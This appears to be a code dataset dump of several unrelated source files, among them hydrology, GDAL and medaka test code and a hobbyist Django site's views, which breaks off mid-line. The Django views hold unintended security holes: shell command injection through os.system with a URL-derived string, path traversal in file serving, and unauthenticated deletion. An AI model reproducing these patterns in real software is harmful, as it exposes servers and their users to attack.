jsonify({\"message\": \"Appointment booked successfully\"})\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"syedasgarahmed/Doctor_appoinment","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"34977198722","text":"# import packages\nimport glob\nfrom pathlib import Path\nimport os\nimport numpy as np\nfrom datetime import datetime\nfrom datetime import timedelta\nimport pandas as pd\nimport calendar\nimport geopandas as gpd\nimport cartopy\nimport matplotlib.pyplot as plt\nimport math\nfrom pathos.threading import ThreadPool as Pool\nfrom scipy.optimize import least_squares\nimport sklearn\nfrom sklearn.linear_model import LinearRegression\nfrom scipy.stats import gaussian_kde\nimport statsmodels.api as sm\nfrom statsmodels.regression.linear_model import OLS\nfrom statsmodels.tools import add_constant\nimport random\nfrom scipy.optimize import minimize\n\n\n\ndef snow_calculation(catch_id,work_dir):\n    # load p-ep-tas timeseries\n    file = glob.glob(f'{work_dir}/output/forcing_timeseries/processed/daily/{catch_id}*.csv')[0]\n    ts = pd.read_csv(f'{file}',index_col=0)\n    # ts = ts.loc[start_date:end_date] #this should be based on sr - or do this for the full timeseries???\n    p = ts.p.values\n    tas = ts.tas.values\n\n    # load mean elevation\n    file = glob.glob(f'{work_dir}/output/elevation/stats_hydrosheds/ele_{catch_id}.csv')[0]\n    elm = pd.read_csv(f'{file}',index_col=0)\n\n    # load elevation zones\n    file = glob.glob(f'{work_dir}/output/elevation/el_zones/{catch_id}*.csv')[0]\n    elz = pd.read_csv(f'{file}',index_col=0)\n    \n    # snow parameters\n    TT = 0\n    MF = 2\n    \n    # make empty matrices with timseries rows and elevation zones columns\n    Pm_el = np.zeros((len(p),len(elz))) # melt water\n    Pl_el = np.zeros((len(p),len(elz))) # liquid precipitation\n    Ps_el = np.zeros((len(p),len(elz))) # solid precipitation\n\n    for j in range(len(elz)):\n        Ss = np.zeros(len(p)) # snow storage\n        Pm = np.zeros(len(p)) # melt water\n        Pl = np.zeros(len(p)) # liquid precipitation\n        Ps = np.zeros(len(p)) # solid precipitation\n        T = np.zeros(len(p)) # temperature\n\n        # temperature difference for elevation zone\n        el_dif = elm.mean_ele - elz.loc[j]['mean_el']\n        dt = (el_dif/1000.)*6.4\n\n        # loop over timesteps and compute ps, pm and pl\n        for i in range(0,len(p)):               \n            Tmean = tas[i]\n            T[i] = Tmean+dt\n\n            if T[i]>TT:\n                Pl[i] = p[i]\n                Ps[i] = 0\n\n                Pm[i] = min(Ss[i],MF*(T[i]-TT))\n                Ss[i] = max(0, Ss[i]-Pm[i])\n            else:\n                Ps[i] = p[i]\n                Pl[i] = 0\n                Ss[i] = Ss[i]+Ps[i]\n            if i<len(p)-1:\n                Ss[i+1] = Ss[i]\n\n        # scale to coverage of elevation zone and add to matrix\n        Ps = Ps * elz.loc[j]['frac']\n        Pm = Pm * elz.loc[j]['frac']\n        Pl = Pl * elz.loc[j]['frac']\n        Pm_el[:,j] = Pm\n        Pl_el[:,j] = Pl\n        Ps_el[:,j] = Ps\n\n    # sum fractions of pm, pl and ps\n    pm = Pm_el.sum(axis=1)\n    pl = Pl_el.sum(axis=1)\n    ps = Ps_el.sum(axis=1)\n\n    # add to forcing dataframe\n    ts['pm'] = pm\n    ts['pl'] = pl\n    ts['ps'] = ps\n    ts.to_csv(f'{work_dir}/output/snow/timeseries/{catch_id}.csv')\n    \n    \n    \ndef run_function_parallel_snow(\n    catch_list=list,\n    work_dir_list=list,\n    # threads=None\n    threads=100\n    ):\n    \"\"\"\n    Runs function snow_calculation  in parallel.\n\n    catch_list:  str, list, list of catchmet ids\n    work_dir_list:     str, list, list of work dir\n    threads:         int,       number of threads (cores), when set to None use all available threads\n\n    Returns: None\n    \"\"\"\n    # Set number of threads (cores) used for parallel run and map threads\n    if threads is None:\n        pool = Pool()\n    else:\n        pool = Pool(nodes=threads)\n    # Run parallel models\n    results = pool.map(\n        snow_calculation,\n        catch_list,\n        work_dir_list,\n    )\n    ","repo_name":"fvanoorschot/global_sr_module","sub_path":"f_snow_module.py","file_name":"f_snow_module.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"}
{"seq_id":"38151439067","text":"import os\n\nimport ogrtest\nimport pytest\nimport test_py_scripts\n\nfrom osgeo import gdal, ogr\n\npytestmark = pytest.mark.skipif(\n    test_py_scripts.get_py_script(\"gdal_polygonize\") is None,\n    reason=\"gdal_polygonize not available\",\n)\n\n\n@pytest.fixture()\ndef script_path():\n    return test_py_scripts.get_py_script(\"gdal_polygonize\")\n\n\n###############################################################################\n# Test a fairly simple case, with nodata masking.\n\n\n@pytest.mark.require_driver(\"AAIGRID\")\ndef test_gdal_polygonize_1(script_path):\n\n    outfilename = \"tmp/poly.shp\"\n    # Create a OGR datasource to put results in.\n    shp_drv = ogr.GetDriverByName(\"ESRI Shapefile\")\n    if os.path.exists(outfilename):\n        shp_drv.DeleteDataSource(outfilename)\n\n    shp_ds = shp_drv.CreateDataSource(outfilename)\n\n    shp_layer = shp_ds.CreateLayer(\"poly\", None, ogr.wkbPolygon)\n\n    fd = ogr.FieldDefn(\"DN\", ogr.OFTInteger)\n    shp_layer.CreateField(fd)\n\n    shp_ds.Destroy()\n\n    # run the algorithm.\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        test_py_scripts.get_data_path(\"alg\") + \"polygonize_in.grd tmp poly DN\",\n    )\n\n    # Confirm we get the set of expected features in the output layer.\n\n    shp_ds = ogr.Open(\"tmp\")\n    shp_lyr = shp_ds.GetLayerByName(\"poly\")\n\n    expected_feature_number = 13\n    assert shp_lyr.GetFeatureCount() == expected_feature_number\n\n    expect = [107, 123, 115, 115, 140, 148, 123, 140, 100, 101, 102, 156, 103]\n\n    ogrtest.check_features_against_list(shp_lyr, \"DN\", expect)\n\n    # check at least one geometry.\n    shp_lyr.SetAttributeFilter(\"dn = 156\")\n    feat_read = shp_lyr.GetNextFeature()\n    ogrtest.check_feature_geometry(\n        feat_read,\n        \"POLYGON ((440720 3751200,440900 3751200,440900 3751020,440720 3751020,440720 3751200),(440780 3751140,440780 3751080,440840 3751080,440840 3751140,440780 3751140))\",\n    )\n\n    feat_read.Destroy()\n\n    shp_ds.Destroy()\n    # Reload drv because of side effects of run_py_script()\n    shp_drv = ogr.GetDriverByName(\"ESRI Shapefile\")\n    shp_drv.DeleteDataSource(outfilename)\n\n\n###############################################################################\n# Test a simple case without masking.\n\n\n@pytest.mark.require_driver(\"AAIGRID\")\ndef test_gdal_polygonize_2(script_path):\n\n    outfilename = \"tmp/out.geojson\"\n    if gdal.VSIStatL(outfilename) is not None:\n        gdal.Unlink(outfilename)\n\n    # run the algorithm.\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        \"-b 1 -q -nomask \"\n        + test_py_scripts.get_data_path(\"alg\")\n        + \"polygonize_in.grd \"\n        + outfilename,\n    )\n\n    # Confirm we get the set of expected features in the output layer.\n    ds = gdal.OpenEx(outfilename)\n    assert ds.GetDriver().ShortName == \"GeoJSON\"\n    lyr = ds.GetLayerByName(\"out\")\n\n    expected_feature_number = 17\n    assert lyr.GetFeatureCount() == expected_feature_number\n\n    expect = [\n        107,\n        123,\n        115,\n        132,\n        115,\n        140,\n        132,\n        132,\n        148,\n        123,\n        140,\n        132,\n        100,\n        101,\n        102,\n        156,\n        103,\n    ]\n\n    ogrtest.check_features_against_list(lyr, \"DN\", expect)\n\n    ds = None\n\n    gdal.Unlink(outfilename)\n\n\n@pytest.mark.require_driver(\"GPKG\")\ndef test_gdal_polygonize_3(script_path):\n\n    drv = ogr.GetDriverByName(\"GPKG\")\n    outfilename = \"tmp/out.gpkg\"\n    if os.path.exists(outfilename):\n        drv.DeleteDataSource(outfilename)\n\n    # run the algorithm.\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        '-b 1 -f \"GPKG\" -q -nomask -lco FID=myfid '\n        + test_py_scripts.get_data_path(\"alg\")\n        + \"polygonize_in.grd \"\n        + outfilename,\n    )\n\n    # Confirm we get the set of expected features in the output layer.\n    gpkg_ds = ogr.Open(outfilename)\n    gpkg_lyr = gpkg_ds.GetLayerByName(\"out\")\n    assert gpkg_lyr.GetFIDColumn() == \"myfid\"\n    geom_type = gpkg_lyr.GetGeomType()\n    geom_is_polygon = geom_type in (ogr.wkbPolygon, ogr.wkbMultiPolygon)\n\n    gpkg_ds.Destroy()\n    # Reload drv because of side effects of run_py_script()\n    drv = ogr.GetDriverByName(\"GPKG\")\n    drv.DeleteDataSource(outfilename)\n\n    if geom_is_polygon:\n        return\n    pytest.fail(\n        \"GetGeomType() returned %d instead of %d or %d (ogr.wkbPolygon or ogr.wkbMultiPolygon)\"\n        % (geom_type, ogr.wkbPolygon, ogr.wkbMultiPolygon)\n    )\n\n\n###############################################################################\n# Test -b mask\n\n\n@pytest.mark.require_driver(\"GML\")\ndef test_gdal_polygonize_4(script_path):\n\n    outfilename = \"tmp/out.gml\"\n    # Test mask syntax\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        \"-q -f GML -b mask \"\n        + test_py_scripts.get_data_path(\"gcore\")\n        + \"byte.tif \"\n        + outfilename,\n    )\n\n    content = open(outfilename, \"rt\").read()\n\n    os.unlink(outfilename)\n    os.unlink(outfilename[0:-3] + \"xsd\")\n\n    assert (\n        '<gml:Polygon srsName=\"urn:ogc:def:crs:EPSG::26711\" gml:id=\"out.geom.0\"><gml:exterior><gml:LinearRing><gml:posList>440720 3751320 440720 3750120 441920 3750120 441920 3751320 440720 3751320</gml:posList></gml:LinearRing></gml:exterior></gml:Polygon>'\n        in content\n    )\n\n    # Test mask,1 syntax\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        \"-q -f GML -b mask,1 \"\n        + test_py_scripts.get_data_path(\"gcore\")\n        + \"byte.tif \"\n        + outfilename,\n    )\n\n    content = open(outfilename, \"rt\").read()\n\n    os.unlink(outfilename)\n    os.unlink(outfilename[0:-3] + \"xsd\")\n\n    assert (\n        '<gml:Polygon srsName=\"urn:ogc:def:crs:EPSG::26711\" gml:id=\"out.geom.0\"><gml:exterior><gml:LinearRing><gml:posList>440720 3751320 440720 3750120 441920 3750120 441920 3751320 440720 3751320</gml:posList></gml:LinearRing></gml:exterior></gml:Polygon>'\n        in content\n    )\n\n\n###############################################################################\n# Test -8\n\n\ndef test_gdal_polygonize_minus_8(script_path):\n\n    outfilename = \"tmp/out.geojson\"\n    test_py_scripts.run_py_script(\n        script_path,\n        \"gdal_polygonize\",\n        \"-q -8 \" + test_py_scripts.get_data_path(\"gcore\") + \"byte.tif \" + outfilename,\n    )\n\n    ds = gdal.OpenEx(outfilename)\n    lyr = ds.GetLayer(0)\n    assert lyr.GetFeatureCount() == 229\n    ds = None\n\n    os.unlink(outfilename)\n\n\n###############################################################################\n# Test --overwrite\n\n\n@pytest.mark.parametrize(\"format\", [\"geojson\", \"gpkg\"])\ndef test_gdal_polygonize_overwrite(script_path, format):\n\n    if gdal.GetDriverByName(format) is None:\n        pytest.skip(f\"driver {format} not available\")\n\n    try:\n        outfilename = \"tmp/out.\" + format\n        test_py_scripts.run_py_script(\n            script_path,\n            \"gdal_polygonize\",\n            test_py_scripts.get_data_path(\"gcore\") + \"byte.tif \" + outfilename,\n        )\n\n        ds = gdal.OpenEx(outfilename)\n        lyr = ds.GetLayer(0)\n        initial_value = lyr.GetFeatureCount()\n        ds = None\n\n        # Append behavior by default\n        test_py_scripts.run_py_script(\n            script_path,\n            \"gdal_polygonize\",\n            test_py_scripts.get_data_path(\"gcore\") + \"byte.tif \" + outfilename,\n        )\n\n        ds = gdal.OpenEx(outfilename)\n        lyr = ds.GetLayer(0)\n        assert lyr.GetFeatureCount() == initial_value * 2\n        ds = None\n\n        # Let's overwrite\n        test_py_scripts.run_py_script(\n            script_path,\n            \"gdal_polygonize\",\n            \" -overwrite \"\n            + test_py_scripts.get_data_path(\"gcore\")\n            + \"byte.tif \"\n            + outfilename,\n        )\n\n        ds = gdal.OpenEx(outfilename)\n        lyr = ds.GetLayer(0)\n        assert lyr.GetFeatureCount() == initial_value\n        ds = None\n\n    finally:\n        if os.path.exists(outfilename):\n            os.unlink(outfilename)\n","repo_name":"OSGeo/gdal","sub_path":"autotest/pyscripts/test_gdal_polygonize.py","file_name":"test_gdal_polygonize.py","file_ext":"py","file_size_in_byte":8050,"program_lang":"python","lang":"en","doc_type":"code","stars":4154,"dataset":"github-code","pt":"19"}
{"seq_id":"1523000438","text":"import os\nimport types\nimport unittest\nimport warnings\n\nimport parasail\nimport pytest\n\nimport medaka.align\nfrom medaka import smolecule\n\nroot_dir = os.path.abspath(os.path.dirname(__file__))\ntest_fasta = os.path.join(root_dir, 'data/smolecule.fasta')\ntest_mfasta = os.path.join(root_dir, 'data/smolecule_multi.fasta')\n\nclass TestRead(unittest.TestCase):\n\n    def test_00_read_single(self):\n        read = smolecule.Read.from_fastx(test_fasta)\n        self.assertIsInstance(read, smolecule.Read)\n        self.assertFalse(read._initialized, 'Read is uninitialized')\n        self.assertEqual(read.nseqs, 9, 'Read has correct number of subreads.')\n\n    def test_01_read_multi(self):\n        reads = smolecule.Read.multi_from_fastx(test_mfasta)\n        self.assertIsInstance(reads, types.GeneratorType, 'multi-read gives generator.')\n        reads = [x for x in reads]\n        n_subreads = [9, 22]\n        self.assertEqual(len(reads), len(n_subreads), 'Retrieved correct number of subreads.')\n        for i, (nsr, read) in enumerate(zip(n_subreads, reads)):\n            self.assertEqual(read.nseqs, nsr, 'Read {} has correct number of subreads.'.format(i))\n\n    @unittest.skipIf(parasail.dnafull is None, \"Using fake parasail.\")\n    def test_10_initialize(self):\n        read = smolecule.Read.from_fastx(test_fasta)\n        self.assertIsInstance(read, smolecule.Read)\n        read.initialize()\n        self.assertTrue(read._initialized, 'Read is initialized after .initialize().')\n        self.assertFalse(read._alignments is None, '.alignments is not None after .initialize().')\n        self.assertTrue(read._alignments_valid, '.alignments_valid is True after .initialize().')\n        self.assertFalse(read._orient is None, '.orients is not None after .initialize().')\n\n    @unittest.skipIf(parasail.dnafull is None, \"Using fake parasail.\")\n    def test_12_interleave(self):\n        read = smolecule.Read.from_fastx(test_fasta)\n        orient, subreads = read.interleaved_subreads\n        exp_orient = (True, False, True, False, True, False, True, False, True)\n        self.assertEqual(orient, exp_orient, \"Orientations interleaved\")\n        # note, the sort is stable so this test is only useful\n        # because some sorting needs to be done on the test set\n        orig_order = [r.name for r in subreads]\n        new_order = [r.name for r in read.subreads]\n        self.assertNotEqual(orig_order, new_order, \"Reads are reordered.\")\n\n    @unittest.skipIf(parasail.dnafull is None, \"Using fake parasail.\")\n    @pytest.mark.skipif(\"CITEST\" in os.environ, reason=\"CI instruction-set issue\")\n    def test_20_basic_consensus(self):\n        read = smolecule.Read.from_fastx(test_fasta)\n        cons = read.poa_consensus()\n        self.assertTrue(read._initialized, 'Read is initialized after poa.')\n        self.assertEqual(cons, read.consensus, 'Returned sequence is self.consensus.')\n        self.assertFalse(read._alignments_valid, '.alignments_valid is False after .poa_consensus.()')\n\n    @unittest.skipIf(parasail.dnafull is None, \"Using fake parasail.\")\n    def test_30_parasail_align(self):\n        revcom = medaka.common.reverse_complement\n        seq_mult = 100\n        seq = 'ACGACTACGACTACGACT' * seq_mult\n        sub_reads = [\n            (smolecule.Subread('read_0', seq), 0),\n            (smolecule.Subread('read_1', seq), 0),\n            (smolecule.Subread('read_2', revcom(seq)), 16)]\n        read = smolecule.Read('test', [s[0] for s in sub_reads])\n\n        expected = [\n            smolecule.Alignment(\n                'test', sr.name, flag, 0,\n                sr.seq if flag == 0 else revcom(sr.seq),\n                '{}='.format(len(seq)))\n            for i, (sr, flag) in enumerate(sub_reads)]\n\n        for aligner in ('align_to_template', 'mappy_to_template'):\n            func = getattr(read, aligner)\n            alignments = func(sub_reads[0][0].seq, 'test')\n            self.assertEqual(len(alignments), len(expected))\n            for aln, exp in zip(alignments, expected):\n                for attr, exp_attr in zip(aln, exp):\n                    # mappy doesn't report equality, just match\n                    if aligner == 'mappy_to_template' and exp_attr == '{}='.format(len(seq)):\n                        exp_attr = '{}M'.format(len(seq))\n                    self.assertEqual(attr, exp_attr)\n\n        with warnings.catch_warnings(record=True) as w:\n            warnings.simplefilter(\"always\")\n            read.mappy_to_template(sub_reads[0][0].seq, 'test', align=False)\n            assert issubclass(w[-1].category, DeprecationWarning)\n","repo_name":"nanoporetech/medaka","sub_path":"medaka/test/test_smolecule.py","file_name":"test_smolecule.py","file_ext":"py","file_size_in_byte":4560,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"19"}
{"seq_id":"35242338736","text":"from __future__ import unicode_literals,absolute_import\nfrom django.shortcuts import render, redirect\nfrom .models import Document, Projet, Short, Vekflix, Youtube, BarreRaccourcie,Stegano,FaceRecognition,Exercice\nfrom django.db.models import Q\nfrom django.views.generic import TemplateView, ListView, CreateView\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth import login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import FileResponse\nfrom pytube import YouTube\nimport os\nimport filetype\nfrom django.core.files.storage import FileSystemStorage\nfrom .forms import DocumentForm, ShortForm, YoutubeForm,SteganoForm,FaceForm\nfrom django.conf import settings\nfrom django.template import RequestContext\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse\nimport sweetify\nfrom wsgiref.util import FileWrapper\nimport pathlib\nimport psutil\nimport datetime\nimport time\nfrom vacances_scolaires_france import SchoolHolidayDates\nfrom django.core.mail import send_mail\nfrom os import listdir\nfrom os.path import isfile, join\nimport requests\nfrom url_decode import urldecode\nimport math\nimport random,string\nimport urllib\nimport os\nimport requests\nfrom cryptosteganography import CryptoSteganography\nfrom PIL import Image\nimport cv2\nfrom thispersondoesnotexist import get_online_person, get_checksum_from_picture, Person,save_picture\n\n\ndef handler404(request, exception, template_name=\"404.html\"):\n    response = render_to_response(\"404.html\")\n    response.status_code = 404\n    return response\n\ndef home(request):\n    name = 'Home'\n    projects = Projet.objects.all().order_by('-created')\n    count= Projet.objects.all().count()\n    coffees = int(count*12)\n    barre = BarreRaccourcie.objects.all()\n    cpu = int(psutil.cpu_percent())\n    disk_usage = int(psutil.disk_usage('/').percent)\n    cpu_freq = int(psutil.cpu_freq().current)\n    x = datetime.datetime.now()\n    year = int(x.strftime(\"%y\"))\n    month = int(x.strftime(\"%m\"))\n    day = int(x.strftime(\"%d\"))\n    months = []\n    projects_months = []\n    onemonth = [1,3,5,7,8,10,12]#31 days month\n    zeromonth = [4,6,9,11]#30 days month\n    strangemonth = 2 #28 or 29 days month (february)\n    for i in range(0,7):\n        if month-(6-i)<1:\n            months.append(12-(6-month-i))\n        else:\n            months.append(month-(6-i))\n    for project in projects:\n         projects_months.append(str(project.created)[5:7])\n\n    file = open(\"holidays.txt\", \"r+\")\n    today = datetime.date(2000 + year, month, day)\n    date = file.readline()\n    if str(x)[:10] == str(date)[:10] and False:\n        is_holiday = file.readline()\n        daysbeforeholiday = int(file.readline())\n    else:\n        d = SchoolHolidayDates()\n        is_holiday = d.is_holiday_for_zone(datetime.date(2000+year, month, day), 'C')\n        daysbeforeholiday = 0\n        if is_holiday == False:\n            while is_holiday == False:\n                if month in onemonth and day == 31:\n                    month = month+1\n                    day=1\n                elif month in zeromonth and day == 30:\n                    month = month + 1\n                    day = 1\n                elif month == 2 and day == 28:\n                    month = month + 1\n                    day = 1\n                day = day + 1\n                is_holiday = d.is_holiday_for_zone(datetime.date(2000 + year, month, day), 'C')\n            holiday_date = datetime.date(2000+year, month, day)\n            delta = holiday_date - today\n            daysbeforeholiday = delta.days\n            is_holiday = False\n        open('holidays.txt', 'w').close()\n        file = open(\"holidays.txt\", \"r+\")\n        file.write('%s\\n' % datetime.datetime.now())\n        #file.write(datetime.datetime.now().strftime(\"%H:%M:%S\") + os.linesep)\n        file.write('%s\\n' % is_holiday)\n        file.write('%s\\n' % daysbeforeholiday)\n    return render(request, 'index.html', {'projects':projects,'count': count, \"barre\": barre, 'cpu': cpu, 'disk': disk_usage, 'cpu_freq': cpu_freq, 'months': months, 'projects_months': projects_months, 'name': name, 'is_holiday': is_holiday, 'daysbeforeholiday': daysbeforeholiday,'coffees': coffees})\n\n\ndef new(request):\n    return render(request, 'base_new.html')\n\n\ndef projects(request):\n    name = 'Projects'\n    projects = Projet.objects.all().order_by('-created')\n    barre = BarreRaccourcie.objects.all()\n    return render(request, '../templates/project.html', {'projects':projects, \"barre\": barre, 'name': name})\n\n\ndef project(request, url):\n    name = 'Projects'\n    content = Projet.objects.get(url=url)\n    others = Projet.objects.all().order_by('-created')\n    barre = BarreRaccourcie.objects.all()\n    return render(request, '../templates/work-single.html', {'projet':content,'others':others, 'barre': barre, 'name': name})\n\ndef file_projects(request, url, file):\n    stream = open('media/projets/' + str(file), 'rb')\n    response = FileResponse(stream)\n    return response\n\n@login_required(login_url='/admin/')\ndef delete_folder(request, folder):\n    if request.method == 'POST':\n        doc = Document.objects.filter(folder=folder)\n        path = \"media/\"\n        for file in doc:\n            os.remove(path+str(file.file.name))\n        doc.delete()\n    return redirect('cloud')\n\n@login_required(login_url='/admin/')\ndef delete_file(request, pk):\n    if request.method == 'POST':\n        doc = Document.objects.filter(pk=pk)\n        path = \"media/\"\n        for file in doc:\n            os.remove(path + str(file.file.name))\n        doc.delete()\n    return redirect('cloud')\n\n\ndef cloud(request):\n    barre = BarreRaccourcie.objects.all()\n    documents = Document.objects.all().order_by('file')\n    name = \"Folders\"\n    a = []\n    index = []\n    i = 0\n    for item in documents:\n        if item.folder in a:\n            index.append(i)\n        else:\n            a.append(item.folder)\n        i += 1\n    return render(request, 'cloud/cloud.html', { 'documents': documents, 'index': index, \"barre\": barre, 'name': name})\n\n\n\ndef files(request, url):\n    barre = BarreRaccourcie.objects.all()\n    documents = Document.objects.filter(folder=urldecode(url)).order_by('file')\n    folder = urldecode(url)\n    names = []\n    types = []\n    name = 'Folders'\n    for document in documents:\n        names.append(document.file.name[8:])\n        if pathlib.Path('media/'+str(document.file.name)).suffix == '.docx' or pathlib.Path('media/'+str(document.file.name)).suffix == '.odt'or  pathlib.Path('media/'+str(document.file.name)).suffix == '.doc':\n            types.append('word')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.xlx' or pathlib.Path('media/'+str(document.file.name)).suffix == '.xlsx' or pathlib.Path('media/'+str(document.file.name)).suffix == '.csv' or pathlib.Path('media/'+str(document.file.name)).suffix == '.CSV':\n            types.append('excel')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.apk':\n            types.append('android')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.rw3':\n            types.append('chart-area')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.pptx' or pathlib.Path('media/'+str(document.file.name)).suffix == '.ppt':\n            types.append('presentation')\n        elif filetype.guess(\"media/\"+str(document.file.name)):\n            type = filetype.guess(\"media/\"+str(document.file.name))\n            types.append(type.mime)\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.py' or pathlib.Path('media/'+str(document.file.name)).suffix == '.js' or pathlib.Path('media/'+str(document.file.name)).suffix == '.c' or  pathlib.Path('media/'+str(document.file.name)).suffix == '.xml':\n            types.append('code')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.avi' or pathlib.Path('media/'+str(document.file.name)).suffix == '.mp4' or pathlib.Path('media/'+str(document.file.name)).suffix == '.mkv':\n            types.append('video')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == '.html':\n            types.append('html5')\n        elif pathlib.Path('media/' + str(document.file.name)).suffix == '.css':\n            types.append('css3')\n        elif pathlib.Path('media/'+str(document.file.name)).suffix == 'log' or pathlib.Path('media/'+str(document.file.name)).suffix == 'config':\n            types.append('settings')\n        else:\n            types.append('file')\n    return render(request,'cloud/particular.html' , {'files': documents, 'url': url, 'names': names, 'types': types, \"barre\": barre, 'name': name, 'folder':folder})\n\ndef file_download(request, url, file):\n    document = Document.objects.get(file = 'uploads/'+file)\n    if request.method == 'POST':\n            password = request.POST.get('password')\n            if password == document.password:\n                stream = open('media/uploads/' + str(file), 'rb')\n                response = FileResponse(stream)\n                return response\n            else:\n                return render(request, 'cloud/password_required.html')\n    else:\n        if document.password:\n            wrong_message = 'The password is wrong try again'\n            return render(request, 'cloud/password_required.html', {'wrong': wrong_message})\n        stream = open('media/uploads/'+str(file), 'rb')\n        response = FileResponse(stream)\n        return response\n\ndef delete(self, *args, **kwargs):\n    os.remove(os.path.join(settings.MEDIA_ROOT, self.field_name.name))\n    super(TheModel, self).delete(*args, **kwargs)\n\n@login_required(login_url='/admin/')\ndef model_form_upload(request):\n    if request.method == 'POST':\n        form = DocumentForm(request.POST, request.FILES)\n        folder = request.POST.get(\"folder\")\n        password = request.POST.get(\"password\")\n        for f in request.FILES.getlist('file'):\n            instance = Document(folder=folder, file=f,password=password)\n            instance.save()\n        return redirect('cloud')\n    else:\n        form = DocumentForm()\n        barre = BarreRaccourcie.objects.all()\n        name = \"Upload\"\n        documents = Document.objects.all().order_by('file')\n        documentsFolder = []\n        for document in documents:\n            if document.folder not in documentsFolder:\n                documentsFolder.append(document.folder)\n        return render(request, 'cloud/upload.html', {\n        'form': form,\n        'barre': barre,\n        'name': name,\n        'documentsFolder':documentsFolder\n    })\n\n\ndef short_url(request):\n    if request.method == 'POST':\n        form = ShortForm(request.POST)\n        if form.is_valid():\n            form.save()\n            name = form.cleaned_data['name']\n            return redirect('short_sucessful', name)\n    else:\n        form = ShortForm()\n        barre = BarreRaccourcie.objects.all()\n        name = 'Short an URL'\n    return render(request, 'short.html', {\n        'form': form,\n        'barre': barre,\n        'name': name\n    })\n\n\ndef short_redirect(request, name):\n    documents = Short.objects.get(name=name)\n    return redirect(documents.url)\n\n\ndef short_sucessful(request, name):\n    documents = Short.objects.get(name=name)\n    barre = BarreRaccourcie.objects.all()\n    name = 'Short an URL'\n    return render(request, 'short_sucessful.html', {'documents' : documents, 'barre': barre, 'name': name})\n\ndef delete_url(request):\n    documents = Short.objects.all()\n    documents.delete()\n    return redirect('short_url')\n\ndef contact(request):\n    if request.method == 'POST':\n        name = request.POST.get(\"name\")\n        mail = request.POST.get(\"email\")\n        subject = request.POST.get(\"subject\")\n        message = request.POST.get(\"message\")\n        send_mail(\"De \" +str(name)+\"/\"+str(mail)+\" - \"+str(subject),str(message)+\"  De \" +str(name)+\"/\"+str(mail), mail, ['emile.delmas@gmail.com'])\n    barre = BarreRaccourcie.objects.all()\n    name = 'Contact'\n    return render(request, 'contact.html', {'barre': barre, 'contact': contact})\n\n@login_required(login_url='/admin/')\ndef vekflix_index(request):\n    films = Vekflix.objects.all()\n    categories = []\n    for film in films:\n        if film.categorie not in categories:\n            categories.append(film.categorie)\n    return render(request, 'vekflix/index.html', {'films': films, 'categories': categories})\n\ndef vekflix_show(request, lien):\n    film = Vekflix.objects.get(lien=lien)\n    movies = Vekflix.objects.all()\n    categories = []\n    for movie in movies:\n        if movie.categorie not in categories:\n            categories.append(movie.categorie)\n    return render(request, 'vekflix/show.html', {'movies': movies, 'categories': categories, 'film': film})\n\ndef file_vekflix(request, lien, type, file):\n    stream = open('media/vekflix/' + str(type) +'/'+ str(file), 'rb')\n    response = FileResponse(stream)\n    return response\n\ndef ytb_vekflix(request):\n    return render(request, 'vekflix/youtube.html')\n\n\ndef youtube_home(request):\n    if request.method == 'POST':\n        if request.POST.get('urlvideo',''):\n            lien = request.POST.get('urlvideo','')\n            yt = YouTube(lien)\n            #os.system(\"youtube-dl -o media/youtube/%(title)s.%(ext)s -f best \" + str(lien))\n            yt.streams.first().download(output_path='media/youtube/')\n            title = yt.streams.first().default_filename\n           # return redirect('/media/youtube/'+title.replace(' ','%20')+'.mp4')\n            file_path = FileWrapper(open('media/youtube/' + str(title), 'rb'))\n            response = HttpResponse(file_path, content_type='video/mp4')\n            response['Content-Disposition'] = 'attachment; filename=' + title\n            return response\n        elif request.POST.get('urlmusic',''):\n            lien = request.POST.get('urlmusic','')\n            yt = YouTube(\"https://www.youtube.com/\" + str(lien))\n            title = yt.title\n            #os.system(\"youtube-dl -o media/youtube/%(title)s.%(ext)s -f bestaudio[ext=m4a] \" + str(lien))\n            yt.streams.filter(only_audio=True).first().download(output_path='media/youtube/')\n            file_path = FileWrapper(open('media/youtube/' + str(title) + \".m4a\", 'rb'))\n            response = HttpResponse(file_path, content_type='audio/mp3')\n            response['Content-Disposition'] = 'attachment; filename= \"' + title.title() + '.mp3\"'\n            return response\n    else:\n        barre = BarreRaccourcie.objects.all()\n        name = 'Youtube Downloader'\n        return render(request, 'youtube.html', {'barre': barre, 'name': name})\n\n\ndef youtube_quality(request, lien):\n    if request.GET.get('v',''):\n        v = request.GET.get('v','')\n        try:\n            yt = YouTube(\"https://www.youtube.com/watch?v=\" + str(v))\n        except:\n            NoReverseMatch\n            return redirect('youtube',{'error': True})\n    else:\n        try:\n            past = time.time()\n            yt = YouTube(\"https://www.youtube.com/\" + str(lien))\n            now = time.time()\n            delta = now-past\n        except:\n            NoReverseMatch\n            return redirect('youtube',{'error': True})\n    if request.method == 'POST':\n        itag = request.POST.get(\"quality\")\n        if itag:\n            title = yt.title\n            lien = lien.replace(\"%3F\", '?')\n            link = \"https://www.youtube.com/\" + str(lien)\n            os.system(\"youtube-dl -o media/youtube/%(title)s.%(ext)s -f best \"+link)\n            file_path = 